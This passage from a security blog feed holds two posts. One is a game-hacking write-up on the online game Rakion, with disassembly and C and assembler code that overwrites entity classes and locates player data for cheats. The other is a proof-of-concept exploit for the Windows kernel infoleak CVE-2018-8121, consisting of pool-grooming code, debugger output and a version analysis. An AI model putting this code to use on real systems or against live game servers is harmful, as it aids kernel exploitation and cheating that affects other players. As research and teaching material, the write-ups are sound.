.data:355F0FF9                 db    4
.data:355F0FFA                 db    0
.data:355F0FFB                 db    0
.data:355F0FFC                 dd offset CNpcNakBase_DLLClass
.data:355F1000                 dd offset sub_351D86D0
.data:355F1004                 dd offset nullsub_1804
.data:355F1008                 dd offset nullsub_1805
.data:355F100C                 dd offset nullsub_1806
.data:355F1010                 dd offset nullsub_1807
.data:355F1014                 dd offset nullsub_1808
.data:355F1018                 dd offset nullsub_1809
.data:355F101C                 dd offset nullsub_1810
.data:355F1020 ; public class CNpcNak4 /* mdisp:0 */ :
.data:355F1020 ;   public class CNpcNakBase /* mdisp:0 */ :
.data:355F1020 ;     public class CNpcBase /* mdisp:0 */ :
.data:355F1020 ;       public class CMovableModelEntity /* mdisp:0 */ :
.data:355F1020 ;         public class CMovableEntity /* mdisp:0 */ :
.data:355F1020 ;           public class CRationalEntity /* mdisp:0 */ :
.data:355F1020 ;             public class CLiveEntity /* mdisp:0 */ :
.data:355F1020 ;               public class CEntity /* mdisp:0 */
.data:355F1020 ; class CNpcNak4 `RTTI Type Descriptor'
.data:355F1020 ??_R0?AVCNpcNak4@@@8 dd offset ??_7type_info@@6B@
.data:355F1020                                         ; DATA XREF: .rdata:354F46A8↑o
.data:355F1020                                         ; .rdata:CNpcNak4::`RTTI Base Class Descriptor at (0,-1,0,64)'↑o
.data:355F1020                                         ; reference to RTTI's vftable
.data:355F1024                 dd 0                    ; internal runtime reference
.data:355F1028 aAvcnpcnak4     db '.?AVCNpcNak4@@',0   ; type descriptor name
</code></pre></div></div>
<p>For example <code class="language-plaintext highlighter-rouge">CNpcNak4_DLLClass</code> could be overwrite with the information of another cell creature object, so when it is summoned the creature will be the another one.</p>

<p>Basically is do:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PBYTE</span> <span class="n">nak4_addr</span> <span class="o">=</span> <span class="p">(</span><span class="n">PBYTE</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">GetModuleHandleA</span><span class="p">(</span><span class="s">"entitiesmp.dll"</span><span class="p">),</span> <span class="s">"CNpcNak4_DLLClass"</span><span class="p">);</span>
<span class="n">PBYTE</span> <span class="n">taurus1_addr</span> <span class="o">=</span> <span class="p">(</span><span class="n">PBYTE</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">GetModuleHandleA</span><span class="p">(</span><span class="s">"entitiesmp.dll"</span><span class="p">),</span> <span class="s">"CNpcTaurus1_DLLClass"</span><span class="p">);</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">nak4_addr</span><span class="p">,</span> <span class="n">taurus1_addr</span><span class="p">,</span> <span class="mi">84</span><span class="p">);</span>
</code></pre></div></div>
<p>Nak4 is white nak, and when it is summoned three naks appear. It is why three Taurus are summoned.</p>

<div align="center"><iframe width="560" height="315" src="https://www.youtube.com/embed/r1qFL2EPQRo" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe></div>

<p><br /></p>

<h2 id="the-entities">The entities</h2>
<p>In this game, there are two entities, in-lobby and in-game (at least I call it that way). Of course the key for many cheats is to get its addresses, because we can modify and abuse many things such as cell creatures, stats, type of attacks, position axis, etc.</p>

<p><a href="#entity-in-game"><strong>The entitiy in-game</strong></a>, has information of the character in-game, and in this we can abuse in the health point (HP), armor point (AP), cell point (CP), caos points, potions (pots <a href="http://rakion.softnyx.net/GameInfo/BeginnersGuide/Interface.aspx">see the number 6</a>), position axis, etc.</p>

<p>To get the entity in-game player address I should call two functions <code class="language-plaintext highlighter-rouge">entitiesmp!CPlayer::GetLocalPlayer</code> and <code class="language-plaintext highlighter-rouge">engine!FieldInfo::GetLocalPlayer</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">FieldInfo</span><span class="o">&amp;</span> <span class="n">CPlayer</span><span class="o">::</span><span class="n">GetFieldInfo</span><span class="p">()</span>
<span class="n">CEntity</span><span class="o">&amp;</span> <span class="n">FieldInfo</span><span class="o">::</span><span class="n">GetLocalPlayer</span><span class="p">()</span>
</code></pre></div></div>
<p>There is a function that shows us how I should call both, <code class="language-plaintext highlighter-rouge">entitiesmp! 
CPlayer::GetLocalPlayer</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">CEntity</span><span class="o">&amp;</span> <span class="n">CPlayer</span><span class="o">::</span><span class="n">GetLocalPlayer</span><span class="p">()</span>
<span class="p">{</span>
  <span class="n">FieldInfo</span> <span class="n">objFieldInfo</span> <span class="o">=</span> <span class="n">this</span><span class="o">-&gt;</span><span class="n">GetFieldInfo</span><span class="p">();</span>
  <span class="k">return</span> <span class="n">objFieldInfo</span><span class="o">-&gt;</span><span class="n">GetLocalPlayer</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>
<p>In assembler:</p>
<pre><code class="language-asm">invoke GetModuleHandle, addr entitiesmp
invoke GetProcAddress, eax, addr GetFieldInfo
cmp eax,NULL
jz end
call eax
push eax

invoke GetModuleHandle, addr engine
invoke GetProcAddress, eax, addr GetLocalPlayer
pop ecx
call eax
; eax: entity in-game address
</code></pre>

<p>This entity can only be obtained in game, and its address will always change for each play.</p>

<p><a href="#entity-in-lobby"><strong>The entitiy in-lobby</strong></a>, is totally different than entity in-game, because the address does not change and has information about the items and stats of the character, etc. When I was 15 years old, that address can be obtained from <code class="language-plaintext highlighter-rouge">entitiesmp!GetSelectLevelInfo()</code> function.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// IDA Pro 6.x decompiler</span>
<span class="k">struct</span> <span class="n">_s_stage</span> <span class="o">*</span><span class="kr">__cdecl</span> <span class="nf">GetSelectLevelInfo</span><span class="p">()</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">v0</span><span class="p">;</span> <span class="c1">// edx@1</span>
  <span class="kt">int</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// ecx@1</span>
  <span class="kt">int</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// eax@1</span>

  <span class="n">v2</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="p">(</span><span class="o">**</span><span class="p">)(</span><span class="kt">void</span><span class="p">))(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">dword_354B7FC4</span> <span class="o">+</span> <span class="mi">12</span><span class="p">))();</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">IsBattleMap</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">v2</span> <span class="o">+</span> <span class="mi">443</span><span class="p">))</span> <span class="p">)</span>
    <span class="n">v1</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
  <span class="k">return</span> <span class="n">GetLevelInfo</span><span class="p">(,</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="n">v0</span> <span class="o">+</span> <span class="mi">442</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The address of entity in-lobby is <code class="language-plaintext highlighter-rouge">0x354B7FC4</code>, but currently the  <code class="language-plaintext highlighter-rouge">entitiesmp!GetSelectLevelInfo()</code>  implemention changed and and it never shows the address anymore.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">_s_stage</span> <span class="o">*</span><span class="kr">__cdecl</span> <span class="nf">GetSelectLevelInfo</span><span class="p">()</span>
<span class="p">{</span>
  <span class="n">FieldInfo</span> <span class="n">objGFieldInfo</span> <span class="o">=</span> <span class="n">GetGlobalFieldInfo</span><span class="p">();</span>
  <span class="kt">int</span> <span class="n">game_type</span> <span class="o">=</span> <span class="n">objGFieldInfo</span><span class="o">-&gt;</span><span class="n">GetGameType</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">IsBattleMap</span><span class="p">(</span><span class="n">game_type</span><span class="p">)</span> <span class="p">)</span>
    <span class="n">game_type</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
  <span class="k">return</span> <span class="p">(</span><span class="k">struct</span> <span class="n">_s_stage</span> <span class="o">*</span><span class="p">)</span><span class="n">GetLevelInfo</span><span class="p">(</span><span class="n">game_type</span><span class="p">,</span> <span class="n">objGFieldInfo</span><span class="o">-&gt;</span><span class="n">LevelInfo</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Of course in the nexts blogposts I will explain how we can get it ;).</p>

<p>For now, here I leave just a small example of what can we do getting the entities.</p>

<div align="center"><iframe width="560" height="315" src="https://www.youtube.com/embed/RCyeRa_HWCg" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe></div>

<p><br /></p>

<blockquote>
  <p>Written by <a href="https://twitter.com/MrNox_"><strong>Nox</strong></a></p>
</blockquote>

<p>Follow us on our twitter account <a href="https://twitter.com/rop_la">@rop-la</a>, our public Github repositories <a href="https://github.com/rop-la/">RoP-LA</a> and <a href="https://www.youtube.com/channel/UCg01TfhxLro71ppULtIBAjw">Youtube Channel</a>.</p>]]></content><author><name>Nox</name></author><category term="en" /><category term="reversing" /><summary type="html"><![CDATA[My begining in the gamehacking and reversing attacking Rakion]]></summary></entry><entry xml:lang="en"><title type="html">NT infoleak CVE-2018-8121</title><link href="https://blog.rop.la/en/reversing/2021/03/25/nt-infoleak-cve-2018-8121.html" rel="alternate" type="text/html" title="NT infoleak CVE-2018-8121" /><published>2021-03-25T02:00:00+00:00</published><updated>2021-03-25T02:00:00+00:00</updated><id>https://blog.rop.la/en/reversing/2021/03/25/nt-infoleak-cve-2018-8121</id><content type="html" xml:base="https://blog.rop.la/en/reversing/2021/03/25/nt-infoleak-cve-2018-8121.html"><![CDATA[<p>The infoleak was mentionated at 44con’s 2018 talk <a href="https://github.com/RanchoIce/44Con2018">“Subverting Direct X KernelFor Gaining Remote System”</a>. The infoleak consists on get uninitialized memory in a userland buffer. When We reserve memory in the Nonpaged pool using <code class="language-plaintext highlighter-rouge">nt!NtAllocateReserveObject</code> function and free that pool chunk to alloc a new pool chunk, a nt function pointer remains in it. By calling <code class="language-plaintext highlighter-rouge">nt!IoQueryInformationByName</code> the whole content of that pool chunk could be read in a userland buffer.</p>

<!--more-->

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0: kd&gt; !pool ffffe781aa2c5150
unable to get nt!ExpHeapBackedPoolEnabledState
Pool page ffffe781aa2c5150 region is Nonpaged pool
...
*FFFFE781AA2C50F0 size: c0 previous size: 10 (Allocated) *IoCo
</code></pre></div></div>

<p>When it has been freed:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0: kd&gt; !pool ffffe781aa2c5150
Pool page ffffe781aa2c5150 region is Nonpaged pool
[...]
*FFFFE781AA2C50F0 size: c0 previous size: 10 (Free ) *IoCo
0: kd&gt; dps ffffe781aa2c5150
[...]
ffffe781`aa2c51e0 fffff800`440dfa90 nt!PspIoMiniPacketCallbackRoutine
</code></pre></div></div>

<p>How I can do that? Alloc a pool chunk and free some, leave free chunks with <code class="language-plaintext highlighter-rouge">0xC0</code> size.</p>

<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x7000</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">NtAllocateReserveObject</span><span class="p">(</span><span class="o">&amp;</span><span class="n">phReserve1</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">IoCo</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x700</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">CloseHandle</span><span class="p">(</span><span class="n">phReserve1</span><span class="p">[</span><span class="n">i</span> <span class="o">*</span> <span class="mh">0x10</span><span class="p">]);</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x7000</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">NtAllocateReserveObject</span><span class="p">(</span><span class="o">&amp;</span><span class="n">phReserve2</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">IoCo</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x700</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">CloseHandle</span><span class="p">(</span><span class="n">phReserve2</span><span class="p">[</span><span class="n">i</span> <span class="o">*</span> <span class="mh">0x10</span><span class="p">]);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>After, try to alloc in the same free pool chunk.</p>

<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span><span class="p">(</span><span class="n">True</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">char</span> <span class="n">arg2</span><span class="p">[</span><span class="mh">0x200</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
    <span class="kt">char</span> <span class="n">arg3</span><span class="p">[</span><span class="mh">0x200</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
    <span class="n">OBJECT_ATTRIBUTES</span> <span class="n">objattr</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>

    <span class="n">NtQueryInformationByName</span><span class="p">(</span><span class="o">&amp;</span><span class="n">objattr</span><span class="p">,</span> <span class="p">(</span><span class="n">PIO_STATUS_BLOCK</span><span class="p">)</span><span class="n">arg2</span><span class="p">,</span> <span class="n">arg3</span><span class="p">,</span> <span class="mh">0xB0</span><span class="p">,</span> <span class="p">(</span><span class="n">FILE_INFORMATION_CLASS</span><span class="p">)</span><span class="mh">0x44</span><span class="p">);</span> <span class="cm">/* FileStatInformation */</span>

    <span class="n">ULONG_PTR</span> <span class="n">leak</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">ULONG_PTR</span> <span class="o">*</span><span class="p">)(</span><span class="n">arg3</span> <span class="o">+</span> <span class="mh">0x90</span><span class="p">)</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"pointer leak 0x%llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">leak</span><span class="p">);</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x30</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">NtAllocateReserveObject</span><span class="p">(</span><span class="o">&amp;</span><span class="n">phReserve3</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">IoCo</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x30</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">phReserve3</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
    <span class="p">}</span>

    <span class="k">if</span><span class="p">(</span> <span class="cm">/* heuristic */</span><span class="p">){</span>
        <span class="k">return</span> <span class="n">leak</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>If it was succeed, the pool chunk was allocated in the same chunk. And we can got the <code class="language-plaintext highlighter-rouge">nt!PspIoMiniPacketCallbackRoutine</code> virtual kernel address in our user-land buffer.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1: kd&gt; g
Breakpoint 1 hit
nt!IoQueryInformationByName+0x1b9:
fffff800`442b37d9 e87250b4ff call nt!IopVerifierExAllocatePoolWithQuota (fffff800`43df8850)
1: kd&gt; p;r rax
rax=ffffe781aa2c5150
1: kd&gt; dps ffffe781aa2c5150
[...]
ffffe781`aa2c51e0 fffff800`440dfa90 nt!PspIoMiniPacketCallbackRoutine
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000072C236FBE0 00 00 00 00 00 00 00 00 00 00 00 00 00 F8 FF FF .............øÿÿ
00000072C236FBF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000072C236FC00 03 00 09 0E 49 6F 20 20 69 E8 49 5C 8F E6 26 2A ....Io ièI\.æ&amp;*
00000072C236FC10 48 00 00 00 00 00 00 00 1C 00 00 00 E8 03 00 00 H...........è...
00000072C236FC20 00 00 00 00 3C 00 00 00 00 00 00 00 00 00 00 00 ....&lt;...........
00000072C236FC30 50 F7 F9 8C 6A 00 00 00 00 00 00 00 00 00 00 00 P÷ù.j...........
00000072C236FC40 3C 00 00 00 00 00 00 00 00 00 00 00 50 F7 F9 8C &lt;...........P÷ù.
00000072C236FC50 6A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 j...............
00000072C236FC60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000072C236FC70 90 FA 0D 44 00 F8 FF FF A0 51 2C AA 81 E7 FF FF .ú.D.øÿÿ Q,ª.çÿÿ // &lt;----
00000072C236FC80 00 00 00 00 00 00 00 00 78 00 65 00 00 00 00 00 ........x.e.....
</code></pre></div></div>

<h2 id="how-is-possible-the-infoleak">How is possible the infoleak?</h2>

<p>The <code class="language-plaintext highlighter-rouge">nt!IopVerifierExAllocatePoolWithQuota_3</code> function alloc a pool chunk with a size controlled by us, calling <code class="language-plaintext highlighter-rouge">nt!ObOpenObjectByNameEx</code> fails,
and the pool chunk is not sanitized. Finally the pool chunk content is copied to our user-land buffer, getting an nt address infoleak.</p>

<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// nt!IoQueryInformationByName (win10 1709)</span>
<span class="p">[...]</span>

<span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="n">__int64</span><span class="p">)</span><span class="n">user_buffer</span> <span class="o">&lt;=</span> <span class="mh">0x7FFFFFFEFFFF</span><span class="n">i64</span> <span class="p">)</span>
    <span class="n">P</span> <span class="o">=</span> <span class="p">(</span><span class="n">PVOID</span><span class="p">)</span><span class="n">IopVerifierExAllocatePoolWithQuota_3</span><span class="p">(</span><span class="n">v13</span><span class="p">,</span> <span class="n">_size</span><span class="p">);</span>
<span class="k">else</span>
    <span class="n">P</span> <span class="o">=</span> <span class="n">user_buffer</span><span class="p">;</span>

<span class="n">v17</span> <span class="o">=</span> <span class="n">__readgsqword</span><span class="p">(</span><span class="mh">0x188u</span><span class="p">);</span>
<span class="o">++*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">v17</span> <span class="o">+</span> <span class="mi">1464</span><span class="p">);</span>
<span class="n">__incgsdword</span><span class="p">(</span><span class="mh">0x2EE4u</span><span class="p">);</span>

<span class="n">v18</span> <span class="o">=</span> <span class="n">ObOpenObjectByNameEx</span><span class="p">((</span><span class="n">__int64</span><span class="p">)</span><span class="n">IoFileObjectType</span><span class="p">,</span> <span class="n">v10</span><span class="p">,</span> <span class="p">(</span><span class="n">__int64</span><span class="p">)</span><span class="n">Src</span><span class="p">,</span> <span class="n">v11</span><span class="p">,</span> <span class="mi">0</span><span class="n">i64</span><span class="p">);</span>
<span class="n">IopCleanupExtraCreateParameters</span><span class="p">(</span><span class="o">&amp;</span><span class="n">Dst</span><span class="p">);</span>

<span class="k">if</span> <span class="p">(</span> <span class="n">v22</span> <span class="o">==</span> <span class="mh">0xBEAA0251</span> <span class="p">)</span>
    <span class="n">v18</span> <span class="o">=</span> <span class="n">v21</span><span class="p">;</span>

<span class="n">v19</span> <span class="o">=</span> <span class="n">P</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">user_buffer</span> <span class="o">!=</span> <span class="n">P</span> <span class="p">)</span>
<span class="p">{</span>
    <span class="n">memmove</span><span class="p">(</span><span class="n">user_buffer</span><span class="p">,</span> <span class="n">P</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">Size</span><span class="p">);</span>
    <span class="n">ExFreePoolWithTag</span><span class="p">(</span><span class="n">v19</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="does-it-work-in-all-windows-10-versions">Does it work in all Windows 10 versions?</h2>

<p>No. If we see the description in the <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8121">Windows advisory page</a>, the infoleak exists in Windows 10 1703, 1709 and 1803, but it doesn’t work in all mentioned versions.</p>

<h3 id="windows-10-1703">Windows 10 1703</h3>

<p>In this version something curious happens, in the function’s prologue. If the <a href="https://doxygen.reactos.org/d7/deb/xdk_2ketypes_8h.html#a9b26934030fc4241b92fe90168d238ef">call is from user-mode</a> only return an error code.</p>

<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">IoQueryInformationByName</span><span class="p">(...</span>
<span class="p">{</span>
<span class="c1">//[...]</span>
<span class="n">PreviousMode</span> <span class="o">=</span> <span class="n">KeGetPreviousMode</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">PreviousMode</span> <span class="p">)</span> <span class="cm">/* KernelMode = 0, UserMode = 1*/</span>
    <span class="k">return</span> <span class="mh">0xC00000BB</span><span class="n">i64</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="windows-10-1709">Windows 10 1709</h3>
<p>It works perfectly! The reason was mentioned above.</p>

<h3 id="windows-10-1803">Windows 10 1803</h3>

<p>When <code class="language-plaintext highlighter-rouge">nt!ObOpenObjectByNameEx</code> function fails, in 1709 nothing happens, but in 1803 the behaviour is different, that function return an error code in <code class="language-plaintext highlighter-rouge">int v19</code>, for example <code class="language-plaintext highlighter-rouge">0xC000000D</code>. So, verification <code class="language-plaintext highlighter-rouge">(v19 &gt;= 0)</code> is not fulfilled, and the pool chunk is never copied to our user-land buffer.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      v19 = ObOpenObjectByNameEx((__int64)IoFileObjectType, arg1, 40i64, v11, 0i64);
      IopCleanupExtraCreateParameters(&amp;Dst);
      if ( v24 == 0xBEAA0251 )
        v19 = v23;
      v20 = P;
      if ( user_buffer != P )
      {
        if ( v19 &gt;= 0 )
          memmove(user_buffer, P, (unsigned int)Size);
        ExFreePoolWithTag(v20, 0);
      }
</code></pre></div></div>

<p>I tried to comply with the condition settting “correct” arguments.</p>

<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">RtlInitUnicodeString</span><span class="p">(</span><span class="o">&amp;</span><span class="n">wzObjectName</span><span class="p">,</span> <span class="s">L"</span><span class="se">\\</span><span class="s">DosDevices</span><span class="se">\\</span><span class="s">C:</span><span class="se">\\</span><span class="s">WINDOWS"</span><span class="p">);</span>
<span class="n">InitializeObjectAttributes</span><span class="p">(</span><span class="o">&amp;</span><span class="n">objattr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">wzObjectName</span><span class="p">,</span> <span class="n">OBJ_CASE_INSENSITIVE</span> <span class="o">|</span> <span class="n">OBJ_KERNEL_HANDLE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="n">NtQueryInformationByName</span><span class="p">(</span><span class="o">&amp;</span><span class="n">objattr</span><span class="p">,</span> <span class="p">(</span><span class="n">PIO_STATUS_BLOCK</span><span class="p">)</span><span class="n">arg2</span><span class="p">,</span> <span class="n">arg3</span><span class="p">,</span> <span class="mh">0xB0</span><span class="o">-</span><span class="mi">2</span><span class="p">,</span> <span class="p">(</span><span class="n">FILE_INFORMATION_CLASS</span><span class="p">)</span><span class="mh">0x44</span><span class="p">);</span> <span class="c1">// FileStatInformation</span>
</code></pre></div></div>

<p>And the call to <code class="language-plaintext highlighter-rouge">nt!ObOpenObjectByNameEx</code> fails too!, but <code class="language-plaintext highlighter-rouge">v24</code> is  being setted with <code class="language-plaintext highlighter-rouge">0xBEAA0251</code> const, then the condition is fulfilled (<code class="language-plaintext highlighter-rouge">v24 == 0xBEAA0251</code>) and <code class="language-plaintext highlighter-rouge">v19</code> is setted to <code class="language-plaintext highlighter-rouge">0</code>. How does this happen? I don’t know. I tried setting a hardware breakpoint on read/write but it never stopped when that value was written :(. If you know, please tell me. So, the pool chunk contents is copy to our user-land buffer! but it wasn’t satisfactory.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0000002C654FF840  14 06 00 00 00 00 01 00 16 29 0C B1 D8 D1 D3 01  .........).±ØÑÓ.  
0000002C654FF850  1E 1A ED 56 7A 11 D5 01 46 4F 3A 14 C8 BC D4 01  ..íVz.Õ.FO:.È¼Ô.  
0000002C654FF860  46 4F 3A 14 C8 BC D4 01 00 70 00 00 00 00 00 00  FO:.È¼Ô..p......  
0000002C654FF870  00 70 00 00 00 00 00 00 10 00 00 00 00 00 00 00  .p..............  
0000002C654FF880  01 00 00 00 A9 00 12 00 00 00 00 00 00 00 00 00  ....©...........  
</code></pre></div></div>

<blockquote>
  <p>Written by <strong>Nox</strong></p>
</blockquote>]]></content><author><name>Nox</name></author><category term="en" /><category term="reversing" /><summary type="html"><![CDATA[Infoleak of NT base]]></summary></entry></feed>